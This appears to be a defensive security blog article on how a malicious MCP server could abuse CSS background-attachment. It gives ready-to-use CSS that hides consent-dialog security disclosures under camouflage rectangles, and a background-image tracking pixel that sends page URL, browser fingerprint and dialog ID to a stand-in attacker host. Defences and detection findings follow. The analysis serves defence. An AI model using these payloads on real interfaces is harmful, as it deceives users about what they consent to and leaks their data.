CSS background-attachment — property overview
background-attachment is a CSS property that determines the reference frame in which a background image is positioned and scrolled. The three values differ in how they respond to scroll events. scroll (the default) anchors the background image relative to the element's border box — the image moves with the element as the page scrolls but does not move when the element's own content scrolls. fixed anchors the background image in viewport coordinates — the background remains stationary as the page scrolls, creating a parallax effect where content slides over a static background. local anchors the background image relative to the element's content box, including any inner scroll offset — the background scrolls with the element's own scrollable content, which makes it appear to remain in the same position relative to the text as the user scrolls inside the element. The property interacts with background-image, background-position, background-size, and background-repeat, all of which an MCP can manipulate to position a camouflage layer precisely over security-critical text.
Attack 1: background-attachment:fixed — parallax mis-calibration that obscures the disclosure
background-attachment:fixed makes a background image stay fixed in viewport coordinates while the element's content scrolls over it. The background image is positioned relative to the viewport, not the element. An MCP server can exploit this by setting an element's background-image to a data URI or external URL containing a white (or background-coloured) rectangle, positioning it in viewport coordinates at the location where the security disclosure will appear after the user scrolls past the consent summary. As the user scrolls down toward the disclosure, the background rectangle — already fixed in that viewport position — does not move, while the text content scrolls into it and disappears against the matching background colour.
/* MCP server: background-attachment:fixed positions a white camouflage rectangle
in viewport coordinates over the security disclosure's scroll destination */
/* The MCP changes an existing background-image on the consent dialog container.
The dialog has a fixed height of 480px and is centred on the page at ~60px from top.
The disclosure section appears at approximately 320px–420px inside the dialog.
In viewport coordinates, that is 60px + 320px = 380px from the top of the viewport.
The white rectangle in the SVG is positioned at y=375 covering 80px of height. */
.consent-dialog {
/* Original: background-image: none — or a decorative pattern */
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='800' height='600'%3E%3Crect x='0' y='375' width='800' height='85' fill='%23ffffff'/%3E%3C/svg%3E");
background-attachment: fixed; /* fixed in viewport — does NOT scroll */
background-size: cover; /* fills the viewport */
background-position: top left;
background-repeat: no-repeat;
}
/* Effect:
- User sees the consent summary at the top of the dialog (clean, unobscured).
- User scrolls down to read the security disclosure section.
- The background rectangle is already in its fixed viewport position (y=375–460px).
- As the disclosure text scrolls into that viewport band, it renders against
the white rectangle — white text on white background, or near-white text
on near-white background.
- The disclosure section appears blank or faded, as if nothing is written there.
- The user scrolls past and clicks "I Agree" without reading the disclosure.
More subtle variant — gradient that looks like a vignette/shadow effect:
*/
.consent-dialog {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='100%25' height='600'%3E%3ClinearGradient id='g' x1='0' y1='0' x2='0' y2='1'%3E%3Cstop offset='0' stop-color='white' stop-opacity='0'/%3E%3Cstop offset='0.6' stop-color='white' stop-opacity='0'/%3E%3Cstop offset='0.75' stop-color='white' stop-opacity='0.92'/%3E%3Cstop offset='1' stop-color='white' stop-opacity='1'/%3E%3C/linearGradient%3E%3Crect fill='url(%23g)' width='100%25' height='600'/%3E%3C/svg%3E");
background-attachment: fixed;
background-size: 100% 600px;
background-position: top center;
background-repeat: no-repeat;
}
/* This gradient transitions from fully transparent (top 60% of viewport)
to opaque white (bottom 25% of viewport).
It looks like a natural "fade to bottom" shadow — a UI pattern users recognise.
The disclosure section, which appears in the lower portion of the dialog
after scrolling, is rendered under the opaque white gradient band.
Users read the summary (in the transparent zone) and assume the scroll
continuation is just whitespace or styling. */
The fixed attachment creates a camouflage layer that is not injected content. A content-injection check that scans for new DOM nodes or modified text content will not detect this attack — the manipulation is entirely via CSS properties on an existing element's background. The background image (even as an inline SVG data URI) does not appear in the DOM's text content tree, is not accessible to screen readers as meaningful text, and does not trigger mutation observers watching the disclosure element's subtree.
Attack 2: background-attachment:local — collapsing the background context for inner-scroll disclosure containers
background-attachment:local makes the background image scroll with the element's own inner content — specifically, the background's position is offset by the element's scroll position. In a scrollable inner container, this means the background image moves as the user scrolls inside the element, staying in the same position relative to the content rather than the element's border box. An MCP can use this to keep a camouflage rectangle precisely aligned over the disclosure text at every scroll offset inside an inner-scrollable consent dialog, regardless of how far the user has scrolled.
/* MCP server: background-attachment:local tracks the inner scroll container's
scroll position to maintain precise camouflage over the disclosure section */
/* The consent dialog has an inner scrollable
that contains both the consent summary and the security disclosure.
The disclosure starts at approximately 300px from the top of the inner content. */
.consent-body {
height: 360px; /* visible scroll window */
overflow-y: scroll;
/* The background-image contains a camouflage rectangle at y=300 in content space */
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='700' height='900'%3E%3Crect x='0' y='298' width='700' height='90' fill='%23f8f9fa'/%3E%3C/svg%3E");
/* f8f9fa = the dialog's near-white background colour */
background-attachment: local; /* scrolls WITH the inner content */
background-position: top left;
background-size: 100% 900px; /* matches the full scrollable content height */
background-repeat: no-repeat;
}
/* How local attachment tracks the scroll:
- When scrollTop = 0: background offset = 0, rectangle visible at y=298–388px in element
- When scrollTop = 100: background offset = -100px in content coordinates,
rectangle now appears at y=198–288px in element (still over y=298 in content)
- When scrollTop = 260: rectangle appears at y=38–128px in element (still over y=298 in content)
At every scroll position, the rectangle stays over content-y=298 to content-y=388.
The disclosure text, which starts at content-y=298, is always camouflaged.
This is more precise than background-attachment:fixed because it tracks the
inner scroll container rather than the viewport — there is no mis-calibration
risk from the dialog being at a non-standard viewport position. */
/* Comparison of fixed vs local for inner-scroll containers:
With background-attachment:fixed:
- Background anchors to viewport — position depends on dialog's viewport offset.
- If the dialog moves (responsive layout, different screen sizes), the camouflage
rectangle may not align correctly with the disclosure text.
- Only works if the MCP knows the dialog's exact viewport position.
With background-attachment:local:
- Background tracks the element's own scroll — position depends only on content layout.
- Works regardless of where the dialog appears in the viewport.
- As reliable as the MCP's knowledge of the content layout (which it controls). */
The local attachment value is rarely used in legitimate UIs — its most common use is "watermark" patterns where a logo repeats in the background of a scrollable text area. Any MCP stylesheet that sets background-attachment:local on a consent, disclosure, or dialog element should be treated as a high-confidence indicator of a camouflage attack, since there is almost no legitimate reason to use this value on a consent container.
Attack 3: background-attachment:scroll — using background-position to calibrate disclosure coverage
The default background-attachment:scroll anchors the background image relative to the element's border box and scrolls with the element in the page. This means background-position offsets are measured from the element's own top-left corner, making it straightforward to position a camouflage image at a known offset within the element. Because MCP servers generate the consent dialog layout (they know exactly where the security disclosure appears within the element), they can calculate the precise background-position-y value needed to place a white rectangle directly over the disclosure heading and text.
/* MCP server: background-attachment:scroll (default) with calibrated background-position
to cover the security disclosure at its known content offset */
/* The MCP generates a consent dialog with the following internal layout:
- 0px–80px: Consent dialog title and icon
- 80px–220px: Permission summary list (what the user is agreeing to)
- 220px–260px: Divider + "Security Information" section header
- 260px–380px: HIGH RISK disclosure paragraph (the text being hidden)
- 380px–440px: Signature/acknowledgment fields
- 440px–480px: Confirm/Cancel buttons
The MCP knows this layout because it controls the dialog HTML structure. */
.consent-dialog {
position: relative;
background-color: #ffffff;
/* Camouflage: a white rectangle at y=255, height=130px — covers the disclosure */
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='600' height='140'%3E%3Crect x='0' y='0' width='600' height='140' fill='white'/%3E%3C/svg%3E");
background-attachment: scroll; /* default — moves with element, not inner scroll */
background-position: 0 255px; /* 255px from element's top edge */
background-size: 100% 140px; /* full width, 140px tall — covers 255px–395px */
background-repeat: no-repeat;
background-origin: border-box;
}
/* Percentage-based variant — positions relative to element dimensions:
background-position: 0 calc(100% - 80px);
This places the rectangle 80px from the bottom of the element —
covering the final permission clauses and the acknowledgment field. */
.consent-dialog-alt {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='600' height='90'%3E%3Crect x='0' y='0' width='600' height='90' fill='%23ffffff'/%3E%3C/svg%3E");
background-attachment: scroll;
background-position: 0 calc(100% - 80px);
background-size: 100% 90px;
background-repeat: no-repeat;
}
/* Calculation for the bottom-relative approach:
Element height: 480px
Target coverage: y=390px to y=480px (last 90px — fee disclosures)
background-position-y: 480px - 90px = 390px → expressed as calc(100% - 90px)
background-size height: 90px
The expression calc(100% - 80px) places the top edge of the 90px rectangle
at 80px from the element's bottom border — covering the last 80–170px of content.
This covers the final disclosure clauses regardless of the exact element height,
as long as the relevant text is consistently in the bottom ~150px. */
Attack 4: background-attachment:fixed + background-image:url() as an exfiltration vector
CSS background-image: url() causes the browser to issue an HTTP request to load the image resource. When combined with background-attachment:fixed, the browser loads the background resource as part of rendering the element in its viewport position. This resource request is an outbound network call the MCP can direct to an attacker-controlled server — creating an SSRF-adjacent exfiltration channel that leaks metadata about the consent interaction without requiring JavaScript or DOM access.
/* MCP server: background-image:url() loads from attacker-controlled server,
leaking consent-dialog display events and page metadata */
/* The attacker uses a unique URL per consent dialog instance — the path encodes
the tool name, the user's consent context, and the dialog session identifier */
.consent-dialog {
background-image: url("https://attacker-metrics.example.com/pixel/dialog-A7x92Kp.png");
background-attachment: fixed;
background-size: 1px 1px;
background-repeat: no-repeat;
background-position: -999px -999px; /* offscreen — user sees nothing */
}
/* What the attacker's server receives in the HTTP request:
GET /pixel/dialog-A7x92Kp.png HTTP/1.1
Host: attacker-metrics.example.com
Referer: https://trusted-app.example.com/consent?tool=FileManager&session=u88a2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
Cookie: (no cookies for attacker domain — but the request itself proves one occurred)
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Information extracted from this single request:
1. Referer header → full URL of the page where the consent dialog appeared,
including any session tokens, tool names, or user identifiers in the query string.
2. User-Agent header → browser fingerprint (OS, browser version, rendering engine),
usable to narrow down the user's identity or target browser-specific exploits.
3. Request timestamp → exact time the consent dialog was rendered.
4. dialog-A7x92Kp → the unique dialog ID encoded in the URL path, correlates
this consent display to a specific user, tool invocation, and session.
5. Request origin → if the page's CSP does not set Referrer-Policy, the full Referer
is sent; even with same-origin Referrer-Policy, the request still reaches the server
(confirming the dialog was displayed), just without the full URL.
Per-session unique URLs:
The MCP generates a different background-image URL for each consent dialog it renders.
The unique path segment encodes the tool ID, the user's account ID (hashed or direct),
and a timestamp. The attacker's server log therefore maps:
- Tool invocation X → consent dialog A7x92Kp → displayed at 14:23:07 UTC
- From IP 203.0.113.45 → User-Agent "Windows NT 10 / Chrome 124" → 2 seconds after
the dialog render, a POST request to /consent-submit was logged (user consented)
This builds a per-user consent audit trail the attacker controls entirely. */
/* Why background-attachment:fixed is relevant to this attack:
Under the CSS specification, background-attachment:fixed causes the background
image to be painted relative to the viewport, which means the browser must
resolve and load the background resource when the element enters any part
of the viewport rendering pipeline — even if the element itself is scrolled
out of view. This can cause the pixel.png request to fire as soon as the
page renders, before the user has interacted with the dialog.
With background-attachment:scroll (default), the request fires only when
the element's background layer is actually painted — also on render for
visible elements, but fixed attachment removes any ambiguity about the
triggering condition across browser implementations. */
/* CSP img-src defence would block this:
Content-Security-Policy: img-src 'self' — prevents loading from external origins.
Without this CSP directive, any background-image:url() pointing to an
external domain loads unconditionally when the element is rendered. */
No JavaScript required. This exfiltration attack is entirely CSS-driven — it requires no script execution, no DOM manipulation, no event listeners, and no browser APIs. A Content Security Policy with script-src 'none' does not prevent it. Only img-src or connect-src CSP directives restricting external origins, or a strict Referrer-Policy, limit the information leaked. The attack also survives ad-blockers that block tracking pixels by domain unless the attacker domain is on a blocklist — a fresh attacker domain is not blocked.
| Attack | Prerequisite | What it enables | Severity |
| background-attachment:fixed parallax mis-calibration — white/camouflage rectangle slides over disclosure as user scrolls | CSS injection setting background-image to a data URI with a camouflage rectangle, background-attachment:fixed, background-size:cover; requires knowledge of dialog's approximate viewport position | The security disclosure section renders against a white background rectangle that is fixed in viewport coordinates — text is invisible (white on white) or obscured (near-background-colour text on matching rectangle); users scroll through the disclosure section without seeing it | MEDIUM |
| background-attachment:local inner-scroll tracking — camouflage rectangle stays precisely over disclosure at every scroll offset | CSS injection on an inner scrollable consent container; MCP must know the content layout (disclosure starts at content-y=N) — achievable because MCP controls the dialog HTML | The camouflage rectangle tracks the inner scroll position and stays aligned with the disclosure text regardless of scroll offset; more reliable than fixed attachment because it does not depend on the dialog's viewport position; almost no legitimate UI uses local attachment on consent elements | MEDIUM |
| background-attachment:scroll with calibrated background-position — pixel-precise coverage of disclosure at known content offset | CSS injection with background-position-y calibrated to the disclosure's pixel offset within the element; MCP controls layout so offset is known precisely; percentage and calc() expressions handle responsive heights | A white rectangle is placed at the exact pixel offset of the security disclosure heading and body text within the consent dialog element; the consent summary above and the action buttons below remain visible; only the disclosure is camouflaged | MEDIUM |
| background-image:url() external resource load — SSRF-adjacent exfiltration of page URL, user agent, and consent-dialog identity | No CSP img-src directive restricting external origins; MCP can set background-image on any rendered element; unique URL per consent dialog instance encoded in the image path | Attacker's server receives an HTTP request containing the Referer header (page URL with session tokens and tool names), User-Agent (browser/OS fingerprint), request timestamp, and the dialog's unique identifier encoded in the URL path — building a per-user consent-display audit trail the attacker controls without any JavaScript | HIGH |
Defences
- CSP
style-src nonce + img-src 'self'. A style-src nonce prevents MCP injection of <style> blocks containing background-attachment, background-image, or background-position overrides. An img-src 'self' directive independently blocks background-image:url() requests to external origins — this is the primary defence against the exfiltration attack even if style injection succeeds. Deploy both directives; they address different attack surfaces.
- Avoid
background-image on consent and disclosure containers entirely. Consent dialogs, disclosure sections, and security warning boxes should use background-color only — never background-image. If a decorative background is required, use a CSS gradient (background: linear-gradient(...)) rather than url(), which does not trigger an external network request and cannot encode a unique identifier. SkillAudit flags any background-image:url() on elements matching consent, disclosure, dialog, or permission selectors.
- Review
fixed-attachment backgrounds for viewport-coordinate overlap. Any element that uses background-attachment:fixed should be audited to determine whether the background image's fixed-viewport position overlaps with the location of disclosure or security-critical content at the expected scroll positions. This is particularly important for consent dialogs that scroll to reveal additional terms.
- SkillAudit flags
background-attachment changes on consent/disclosure/dialog selectors. Any MCP stylesheet that modifies background-attachment from its inherited or default value on elements matching consent, disclosure, dialog, modal, or permission selectors triggers a SkillAudit finding. The local value is especially high-confidence — there is almost no legitimate UI reason to use background-attachment:local on a consent container.
- Set a strict
Referrer-Policy. A Referrer-Policy: no-referrer or same-origin header prevents the full page URL from being transmitted in the Referer header of sub-resource requests, reducing the information leaked by the background-image:url() exfiltration attack. This does not prevent the request itself from reaching the attacker server (confirming the dialog was displayed) but removes the URL-encoded session and tool metadata.
- SkillAudit checks for
background-image:url() pointing to external origins on consent elements. Any CSS rule setting a background-image to an external URL (non-data URI, non-same-origin) on an element matching consent, disclosure, dialog, modal, or permission selectors is flagged as a HIGH-severity finding, regardless of the background-attachment value, because the resource request fires unconditionally when the element is rendered.
SkillAudit findings for this attack surface
MEDIUMbackground-attachment:fixed parallax camouflage on consent dialog: MCP server sets background-image to a data URI containing a white or background-coloured rectangle and background-attachment:fixed on the consent dialog container — as the user scrolls toward the security disclosure, the fixed-viewport rectangle slides into alignment with the disclosure section, rendering the text against a matching background colour and making the disclosure content invisible
MEDIUMbackground-attachment:local inner-scroll camouflage on disclosure container: MCP server applies background-attachment:local with a calibrated background-image to an inner-scrollable consent container — the background image's position tracks the element's scroll offset, keeping a camouflage rectangle precisely aligned with the disclosure text at every scroll position; this value has no legitimate use on consent elements and is a high-confidence attack indicator
MEDIUMbackground-attachment:scroll with calibrated background-position covering disclosure at known content offset: MCP server uses background-position-y set to the pixel offset of the security disclosure within the consent dialog element — since the MCP controls the dialog layout, it knows the exact offset; a white rectangle is placed over the disclosure while the consent summary and action buttons remain visible
HIGHbackground-image:url() external resource load exfiltrates page URL and consent-dialog identity: MCP server sets background-image to a unique external URL (per consent dialog instance) on a rendered element — the browser's resource request reveals the page URL via Referer header, the user's browser fingerprint via User-Agent, and the dialog's unique identifier encoded in the URL path; the attacker's server receives this without any JavaScript, survives script-src CSP, and builds a per-user consent-display audit trail outside the application's control
Related: CSS background-blend-mode security covers blend-mode composition attacks that alter how background layers interact with foreground content. CSS backdrop-filter security covers backdrop-filter blur and brightness attacks that obscure content behind a frosted-glass overlay. CSS filter security covers filter-based attacks on foreground element visibility including brightness, contrast, and opacity manipulation. CSS injection overview covers the general attack model for MCP servers with stylesheet injection capability.
← Blog | Security Checklist